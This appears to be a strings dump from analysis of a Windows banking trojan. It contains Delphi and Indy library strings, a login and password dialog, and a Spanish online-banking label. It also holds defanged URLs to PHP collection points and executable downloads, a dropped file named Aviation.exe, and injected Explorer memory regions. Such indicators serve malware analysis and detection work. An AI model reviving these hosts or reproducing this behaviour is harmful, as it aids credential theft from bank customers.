7@*#6'443
7@*#6'443
wininet.dll
wininet.dll
SoapClient.dll
SoapClient.dll
dito>>>BCP>>> - Windows Internet Explorer
dito>>>BCP>>> - Windows Internet Explorer
Font.Charset
Font.Charset
Font.Color
Font.Color
Font.Height
Font.Height
Font.Name
Font.Name
Font.Style
Font.Style
Picture.Data
Picture.Data
ImageNormal.Data
ImageNormal.Data
4557880
4557880
Items.Strings
Items.Strings
&Operaciones con T. compras en Internet
&Operaciones con T. compras en Internet
Font.Pitch
Font.Pitch
#X$%X$%b'([# [# M
#X$%X$%b'([# [# M
#X$%X$%b'(b'(b'(b'(b'(b'(X$%M
#X$%X$%b'(b'(b'(b'(b'(b'(X$%M
k/.[# b'(X$%X$%[# [# M
k/.[# b'(X$%X$%[# [# M
#[# [# [#
#[# [# [#
[# [# X$%X$%X$%X$%[# [# .
[# [# X$%X$%X$%X$%[# [# .
%.s%.s
%.s%.s
#X$%X$%X$%X$%[# [# .
#X$%X$%X$%X$%[# [# .
#X$%X$%[# X$%[# [# .
#X$%X$%[# X$%[# [# .
X$%X$%X$%X$%d&!X$%#
X$%X$%X$%X$%d&!X$%#
*6{%.s
*6{%.s
X$%X$%X$%X$%[# H&7#
X$%X$%X$%X$%[# H&7#
X$%[# X$%X$%X$%[# H&7#
X$%[# X$%X$%X$%[# H&7#
X$%X$%X$%d&!H&7
X$%X$%X$%d&!H&7
v%.s%.s%.s2 n%.s2 n#*Y
v%.s%.s%.s2 n%.s2 n#*Y
#X$%X$%X$%[# =
#X$%X$%X$%[# =
#X$%X$%[# =
#X$%X$%[# =
#[# [# X$%X$$=
#[# [# X$%X$$=
#X$%X$%X$%[# [# [# d&!g "d&!g "g "g "g "p9;
#X$%X$%X$%[# [# [# d&!g "d&!g "g "g "g "p9;
FQ}FQ}FQ};Iz1>l(5i#,h#,h#,h%.s(5i(5i*6{
FQ}FQ}FQ};Iz1>l(5i#,h#,h#,h%.s(5i(5i*6{
#X$%X$%b'(b'(b'(b'(X$%b'(b'(b'(g "g "
#X$%X$%b'(b'(b'(b'(X$%b'(b'(b'(g "g "
FQ}FQ}FQ}FQ}:?t(5i#,h#,h#,h%.s(5i*6{(5i
FQ}FQ}FQ}FQ}:?t(5i#,h#,h#,h%.s(5i*6{(5i
FQ}1>l%.s#,h%.s(5i*6{*6{*6{
FQ}1>l%.s#,h%.s(5i*6{*6{*6{
;Iz*6{%.s%.s
;Iz*6{%.s%.s
FQ}*6{%.s
FQ}*6{%.s
*6{*6{*6{0
*6{*6{*6{0
:?t%.s.
:?t%.s.
*6{*6{%.s%.s
*6{*6{%.s%.s
*6{%.s%.s:?t:?tec
*6{%.s%.s:?t:?tec
:~|:~|:~|:~|@
:~|:~|:~|:~|@
*6{%.s%.s#,h
*6{%.s%.s#,h
*6{*6{%.s#,h
*6{*6{%.s#,h
*6{%.s#,h
*6{%.s#,h
%.s%.s%.s%.s#,h
%.s%.s%.s%.s#,h
*6{*6{*6{*6{%.s#,h
*6{*6{*6{*6{%.s#,h
*6{*6{%.s
*6{*6{%.s
*6{%.s%.s#,h#,h
*6{%.s%.s#,h#,h
*6{*6{*6{%.s#,h
*6{*6{*6{%.s#,h
$h%.s%.s%.s%.s%.s
$h%.s%.s%.s%.s%.s
*6{%.s%.s
*6{%.s%.s
$h#,h%.s*6{*6{*6{*6{
$h#,h%.s*6{*6{*6{*6{
$h%.s*6{0
$h%.s*6{0
*6{*6{0
*6{*6{0
Pen.Style
Pen.Style
024.375.716.711/1768 - CA
024.375.716.711/1768 - CA
(7),01444
(7),01444
'9=82<.342>
'9=82<.342>
OJC.QT
OJC.QT
LoginDialog
LoginDialog
Database Login
Database Login
&Password:
&Password:
PasswordDialog
PasswordDialog
Enter password
Enter password
, #&')*)
, #&')*)
-0-(0%()(
-0-(0%()(
/hXXp://VVV.gone2paradise.net/images/thumbs_.php
/hXXp://VVV.gone2paradise.net/images/thumbs_.php
0hXXp://vacations.oatley.us//modlogan/thumbs_.php
0hXXp://vacations.oatley.us//modlogan/thumbs_.php
-hXXp://VVV.faunarescue.org/albums/thumbs_.php
-hXXp://VVV.faunarescue.org/albums/thumbs_.php
$hXXp://VVV.safe-tec.de/inc/htmln.php
$hXXp://VVV.safe-tec.de/inc/htmln.php
-hXXp://VVV.giteluberon.fr/resources/htmln.php
-hXXp://VVV.giteluberon.fr/resources/htmln.php
>hXXp://VVV.vigneron-independant.com//download/images/htmln.php
>hXXp://VVV.vigneron-independant.com//download/images/htmln.php
Aviation.exe
Aviation.exe
1hXXp://VVV.obconline.net/kapal/image/htm8.exe.bak
1hXXp://VVV.obconline.net/kapal/image/htm8.exe.bak
5hXXp://VVV.parislemarais.com/lists/texts/htm8.exe.bak
5hXXp://VVV.parislemarais.com/lists/texts/htm8.exe.bak
4hXXp://VVV.calandreta-gaillac.fr/Images/htm8.exe.bak
4hXXp://VVV.calandreta-gaillac.fr/Images/htm8.exe.bak
"hXXp://VVV.itc.es/tmp/htm8.exe.bak
"hXXp://VVV.itc.es/tmp/htm8.exe.bak
1hXXp://VVV.toughnuttocrack.de//gbook/htm8.exe.bak
1hXXp://VVV.toughnuttocrack.de//gbook/htm8.exe.bak
0hXXp://vacations.oatley.us//modlogan/thumbx_.php
0hXXp://vacations.oatley.us//modlogan/thumbx_.php
.hXXp://VVV.ipsanandres.org.ar//images/tail.php
.hXXp://VVV.ipsanandres.org.ar//images/tail.php
5hXXp://VVV.koja-lindlar.de/bilder/2008_07_29/tail.php
5hXXp://VVV.koja-lindlar.de/bilder/2008_07_29/tail.php
#hXXp://VVV.enertia-llc.com/tail.php
#hXXp://VVV.enertia-llc.com/tail.php
ProxyParams.BasicAuthentication
ProxyParams.BasicAuthentication
ProxyParams.ProxyPort
ProxyParams.ProxyPort
Request.ContentLength
Request.ContentLength
Request.ContentType
Request.ContentType
Request.Accept
Request.Accept
Request.BasicAuthentication
Request.BasicAuthentication
Request.UserAgent
Request.UserAgent
&Mozilla/3.0 (compatible; Indy Library)
&Mozilla/3.0 (compatible; Indy Library)
HTTPOptions
HTTPOptions
Icon.Data
Icon.Data
IIIIIB(II<.fg>
IIIIIB(II<.fg>
7?_____ZZSSH%
7?_____ZZSSH%
3333333331
3333333331
2222222222
2222222222
22222222
22222222
999999999
999999999
9999999999yoFÿ
9999999999yoFÿ
%uuuu|
%uuuu|
version="1.0.0.0"
version="1.0.0.0"
name="Microsoft.Windows.Common-Controls"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
publicKeyToken="6595b64144ccf1df"
%s: %s
%s: %s
IW_GFX_LOGOINTRAWEB
IW_GFX_LOGOINTRAWEB
IW_JS_IWOPERA
IW_JS_IWOPERA
RESTARTEXE
RESTARTEXE
TLOGINDIALOG
TLOGINDIALOG
TPASSWORDDIALOG
TPASSWORDDIALOG
There is no such palette entry.dThis "Portable Network Graphics" image contains an unknown critical part which could not be decoded.pThis "Portable Network Graphics" image is encoded with an unknown compression scheme which could not be decoded.cThis "Portable Network Graphics" image uses an unknown interlace scheme which could not be decoded.-The chunks must be compatible to be assigned.jThis "Portable Network Graphics" image is invalid because the decoder found an unexpected end of the file.8This "Portable Network Graphics" image contains no data.]The program tried to add a existent critical chunk to the current image which is not allowed.IIt's not allowed to add a new chunk because the current image is invalid.oSome operation could not be performed because the system is out of resources. Close some windows and try again.OThis operation is not valid because the current image contains no valid header.4The new size provided for image resizing is invalid.
There is no such palette entry.dThis "Portable Network Graphics" image contains an unknown critical part which could not be decoded.pThis "Portable Network Graphics" image is encoded with an unknown compression scheme which could not be decoded.cThis "Portable Network Graphics" image uses an unknown interlace scheme which could not be decoded.-The chunks must be compatible to be assigned.jThis "Portable Network Graphics" image is invalid because the decoder found an unexpected end of the file.8This "Portable Network Graphics" image contains no data.]The program tried to add a existent critical chunk to the current image which is not allowed.IIt's not allowed to add a new chunk because the current image is invalid.oSome operation could not be performed because the system is out of resources. Close some windows and try again.OThis operation is not valid because the current image contains no valid header.4The new size provided for image resizing is invalid.
OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s&Cannot change the size of a JPEG image
OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s&Cannot change the size of a JPEG image
JPEG error #%d
JPEG error #%d
JPEG Image FilejThis "Portable Network Graphics" image is not valid because it contains invalid pieces of data (crc error)yThe "Portable Network Graphics" image could not be loaded because one of its main piece of data (ihdr) might be corruptedUThis "Portable Network Graphics" image is invalid because it has missing image parts.[Could not decompress the image because it contains invalid compressed data.
JPEG Image FilejThis "Portable Network Graphics" image is not valid because it contains invalid pieces of data (crc error)yThe "Portable Network Graphics" image could not be loaded because one of its main piece of data (ihdr) might be corruptedUThis "Portable Network Graphics" image is invalid because it has missing image parts.[Could not decompress the image because it contains invalid compressed data.
Description: BThe "Portable Network Graphics" image contains an invalid palette.
Description: BThe "Portable Network Graphics" image contains an invalid palette.
The file being readed is not a valid "Portable Network Graphics" image because it contains an invalid header. This file may be corruped, try obtaining it again.nThis "Portable Network Graphics" image is not supported or it might be invalid.
The file being readed is not a valid "Portable Network Graphics" image because it contains an invalid header. This file may be corruped, try obtaining it again.nThis "Portable Network Graphics" image is not supported or it might be invalid.
This "Portable Network Graphics" image is not supported because either it's width or height exceeds the maximum size, which is 65535 pixels length.
This "Portable Network Graphics" image is not supported because either it's width or height exceeds the maximum size, which is 65535 pixels length.
Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.
Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.
Reply Code is not valid: %s
Reply Code is not valid: %s
Unknown Protocol(Request method requires HTTP version 1.1DThis authentication method is already registered with class name %s.
Unknown Protocol(Request method requires HTTP version 1.1DThis authentication method is already registered with class name %s.
Command not supported.
Command not supported.
Address type not supported."%d: Circular links are not allowed
Address type not supported."%d: Circular links are not allowed
File "%s" not found
File "%s" not found
Object type not supported.
Object type not supported.
%s is not a valid service.
%s is not a valid service.
%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.
%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.
Set Size Exceeded.)UDP is not support in this SOCKS version.
Set Size Exceeded.)UDP is not support in this SOCKS version.
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)
Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.
Invalid Port Range (%d - %d)
Invalid Port Range (%d - %d)
Socket type not supported."Operation not supported on socket.
Socket type not supported."Operation not supported on socket.
Protocol family not supported.0Address family not supported by protocol family.
Protocol family not supported.0Address family not supported by protocol family.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Socket Error # %d
Socket Error # %d
Operation would block.
Operation would block.
Operation now in progress.
Operation now in progress.
Operation already in progress.
Operation already in progress.
Socket operation on non-socket.
Socket operation on non-socket.
Protocol not supported.
Protocol not supported.
Not in cached update mode$Cannot access field '%s' in a filter
Not in cached update mode$Cannot access field '%s' in a filter
Untitled ApplicationFThe transaction isolation level must be dirty read for local databases4Failed attempting to retrieve time zone information.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)
Untitled ApplicationFThe transaction isolation level must be dirty read for local databases4Failed attempting to retrieve time zone information.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)
Resolving hostname %s.
Resolving hostname %s.
Connecting to %s.
Connecting to %s.
%s:Cannot modify SessionName while AutoSessionName is enabled
%s:Cannot modify SessionName while AutoSessionName is enabled
Duplicate database name '%s'
Duplicate database name '%s'
Duplicate session name '%s'
Duplicate session name '%s'
Invalid session name %s
Invalid session name %s
Session name missing1Cannot perform this operation on an open database2Cannot perform this operation on a closed database,Database handle owned by a different session2Cannot perform this operation on an active session
Session name missing1Cannot perform this operation on an open database2Cannot perform this operation on a closed database,Database handle owned by a different session2Cannot perform this operation on an active session
Error creating cursor handle/ReferenceTableName not specified for field '%s'
Error creating cursor handle/ReferenceTableName not specified for field '%s'
No value for parameter '%s'
No value for parameter '%s'
Cannot connect to database '%s'ZAn error occurred while attempting to initialize the Borland Database Engine (error $%.4x)
Cannot connect to database '%s'ZAn error occurred while attempting to initialize the Borland Database Engine (error $%.4x)
/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
Remote LoginZCannot enable AutoSessionName property with more than one session on a form or data-module^Cannot add a session to the form or data-module while session '%s' has AutoSessionName enabled
Remote LoginZCannot enable AutoSessionName property with more than one session on a form or data-module^Cannot add a session to the form or data-module while session '%s' has AutoSessionName enabled
Parameter '%s' not found$Field '%s' is of an unsupported type
Parameter '%s' not found$Field '%s' is of an unsupported type
SQL not supported: %s
SQL not supported: %s
Execute not supported: %sfField '%s' is not the correct type of calculated field to be used in an aggregate, use an internalcalc1Operation not allowed on a unidirectional dataset
Execute not supported: %sfField '%s' is not the correct type of calculated field to be used in an aggregate, use an internalcalc1Operation not allowed on a unidirectional dataset
%s is not a valid BCD value
%s is not a valid BCD value
Invalid format type for BCD$Could not parse SQL TimeStamp string
Invalid format type for BCD$Could not parse SQL TimeStamp string
Invalid SQL date/time values
Invalid SQL date/time values
OLE error %.8x.Method '%s' not supported by automation object
OLE error %.8x.Method '%s' not supported by automation object
')' or ',' expected but %s found Expression expected but %s found0Field '%s' cannot be used in a filter expression#NULL only allowed with '=' and ''
')' or ',' expected but %s found Expression expected but %s found0Field '%s' cannot be used in a filter expression#NULL only allowed with '=' and ''
Type mismatch in expression>Operation cannot mix aggregate value with record-varying value.Arithmetic in filter expressions not supported)Expression is not an aggregate expression
Type mismatch in expression>Operation cannot mix aggregate value with record-varying value.Arithmetic in filter expressions not supported)Expression is not an aggregate expression
Constant is not correct type %s,Aggregate expressions not allowed in filters"IN predicate list may not be empty
Constant is not correct type %s,Aggregate expressions not allowed in filters"IN predicate list may not be empty
Invalid use of keyword
Invalid use of keyword
1Field '%s' cannot be a calculated or lookup field
1Field '%s' cannot be a calculated or lookup field
Field '%s' cannot be modified0Field '%s' is not indexed and cannot be modified"Circular datalinks are not allowed/Lookup information for field '%s' is incomplete0Cannot perform this operation on an open dataset"Dataset not in edit or insert mode1Cannot perform this operation on a closed dataset!Cannot modify a read-only dataset#Nested dataset must inherit from %s(Filter expression incorrectly terminated
Field '%s' cannot be modified0Field '%s' is not indexed and cannot be modified"Circular datalinks are not allowed/Lookup information for field '%s' is incomplete0Cannot perform this operation on an open dataset"Dataset not in edit or insert mode1Cannot perform this operation on a closed dataset!Cannot modify a read-only dataset#Nested dataset must inherit from %s(Filter expression incorrectly terminated
Unterminated string constant)Invalid filter expression character: '%s'
Unterminated string constant)Invalid filter expression character: '%s'
'(' expected but %s found
'(' expected but %s found
')' expected but %s found
')' expected but %s found
Duplicate field name '%s'
Duplicate field name '%s'
Field '%s' not found#Cannot access field '%s' as type %s
Field '%s' not found#Cannot access field '%s' as type %s
Invalid value for field '%s'E%g is not a valid value for field '%s'. The allowed range is %g to %gE%s is not a valid value for field '%s'. The allowed range is %s to %s0'%s' is not a valid integer value for field '%s'0'%s' is not a valid boolean value for field '%s'7'%s' is not a valid floating point value for field '%s'6Type mismatch for field '%s', expecting: %s actual: %s6Size mismatch for field '%s', expecting: %d actual: %d Invalid variant type or size for field '%s'#Value of field '%s' is out of range
Invalid value for field '%s'E%g is not a valid value for field '%s'. The allowed range is %g to %gE%s is not a valid value for field '%s'. The allowed range is %s to %s0'%s' is not a valid integer value for field '%s'0'%s' is not a valid boolean value for field '%s'7'%s' is not a valid floating point value for field '%s'6Type mismatch for field '%s', expecting: %s actual: %s6Size mismatch for field '%s', expecting: %d actual: %d Invalid variant type or size for field '%s'#Value of field '%s' is out of range
Field '%s' must have a value
Field '%s' must have a value
Field '%s' has no dataset
Field '%s' has no dataset
Invalid stream operation
Invalid stream operation
Invalid FieldKind Field '%s' is of an unknown type
Invalid FieldKind Field '%s' is of an unknown type
Invalid Image trailerAInternal error: Extension Instance does not match Extension Label,Unsupported Application Extension block size
Invalid Image trailerAInternal error: Extension Instance does not match Extension Label,Unsupported Application Extension block size
Unknown GIF block type'Object type not supported for operation
Unknown GIF block type'Object type not supported for operation
Unsupported PixelFormat
Unsupported PixelFormat
No help found for %s#No context-sensitive help installed
No help found for %s#No context-sensitive help installed
Invalid extension introducerúiled to allocate memory for GIF DIB
Invalid extension introducerúiled to allocate memory for GIF DIB
ExpandMError loading previously saved settings file: %s
ExpandMError loading previously saved settings file: %s
%s does not allow hiding
%s does not allow hiding
UTF-7Ênnot remove shell notification iconÊnnot create shell notification icon
UTF-7Ênnot remove shell notification iconÊnnot create shell notification icon
Unable to insert a line Clipboard does not support Icons
Unable to insert a line Clipboard does not support Icons
Text exceeds memo capacity/Menu '%s' is already being used by another form
Text exceeds memo capacity/Menu '%s' is already being used by another form
- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.eCannot assign a subitem to an actionbar when one of it's parent's is already assigned to an actionbar$Item %s has subitems, delete anyway?'You are not allowed to delete this item"Item %s is not allowed to be moved
- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.eCannot assign a subitem to an actionbar when one of it's parent's is already assigned to an actionbar$Item %s has subitems, delete anyway?'You are not allowed to delete this item"Item %s is not allowed to be moved
Cannot drag a form"An error returned from DDE ($0%x)/DDE Error - conversation not established ($0%x)0Error occurred when DDE ran out of memory ($0%x)"Unable to connect DDE conversation
Cannot drag a form"An error returned from DDE ($0%x)/DDE Error - conversation not established ($0%x)0Error occurred when DDE ran out of memory ($0%x)"Unable to connect DDE conversation
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'
Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic
Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic
Unsupported clipboard format
Unsupported clipboard format
List index out of bounds (%d) Out of memory while expanding memory stream
List index out of bounds (%d) Out of memory while expanding memory stream
Error reading %s%s%s: %s
Error reading %s%s%s: %s
Failed to get data for '%s'
Failed to get data for '%s'
Failed to set data for '%s'
Failed to set data for '%s'
Resource %s not found
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Property %s does not exist
Thread creation error: %s
Thread creation error: %s
Thread Error: %s (%d)
Thread Error: %s (%d)
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot create file "%s". %s
Cannot open file "%s". %s
Cannot open file "%s". %s
Invalid stream format$''%s'' is not a valid component name
Invalid stream format$''%s'' is not a valid component name
Invalid property element: %s
Invalid property element: %s
Invalid property type: %s
Invalid property type: %s
Invalid data type for '%s' List capacity out of bounds (%d)
Invalid data type for '%s' List capacity out of bounds (%d)
List count out of bounds (%d)
List count out of bounds (%d)
Ancestor for '%s' not found
Ancestor for '%s' not found
Cannot assign a %s to a %s
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
Class %s not found
Wed?Access violation at address %p in module '%s'. %s of address %p
Wed?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
System Error. Code: %d.
/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
Operation not supported
External exception %x
External exception %x
Interface not supported
Interface not supported
%s (%s, line %d)
%s (%s, line %d)
Abstract Error(Exception %s in module %s at %p.
Abstract Error(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
No argument for format '%s'"Variant method calls not supported
Invalid variant operation
Invalid variant operation
Invalid NULL variant operation%Invalid variant operation (%s%.8x)
Invalid NULL variant operation%Invalid variant operation (%s%.8x)
%s,Custom variant type (%s%.4x) is out of range
%s,Custom variant type (%s%.4x) is out of range
Integer overflow Invalid floating point operation
Integer overflow Invalid floating point operation
Invalid pointer operation
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Invalid class typecast0Access violation at address %p. %s of address %p
Operation aborted
Operation aborted
!'%s' is not a valid integer value('%s' is not a valid floating point value
!'%s' is not a valid integer value('%s' is not a valid floating point value
'%s' is not a valid date
'%s' is not a valid date
'%s' is not a valid time!'%s' is not a valid date and time '%d.%d' is not a valid timestamp
'%s' is not a valid time!'%s' is not a valid date and time '%d.%d' is not a valid timestamp
I/O error %d
I/O error %d
No help keyword specified.
No help keyword specified.
No help found for %s#No context-sensitive help installed$No topic-based help system installed
No help found for %s#No context-sensitive help installed$No topic-based help system installed
Alt Clipboard does not support Icons/Menu '%s' is already being used by another form
Alt Clipboard does not support Icons/Menu '%s' is already being used by another form
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
Invalid property value List capacity out of bounds (%d)
Invalid property value List capacity out of bounds (%d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
Invalid variant operation%Invalid variant operation (%s%.8x)
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Privileged instruction(Exception %s in module %s at %p.
Privileged instruction(Exception %s in module %s at %p.
!'%s' is not a valid integer value
!'%s' is not a valid integer value
1.5.6.235
1.5.6.235
1.0.0.0
1.0.0.0
12.0.0.14
12.0.0.14
Explorer.EXE_1572_rwx_00FF0000_00001000:
%WinDir%\Aviation.exe
%WinDir%\Aviation.exe
Explorer.EXE_1572_rwx_01E20000_00001000:
%WinDir%\Aviation.exe
%WinDir%\Aviation.exe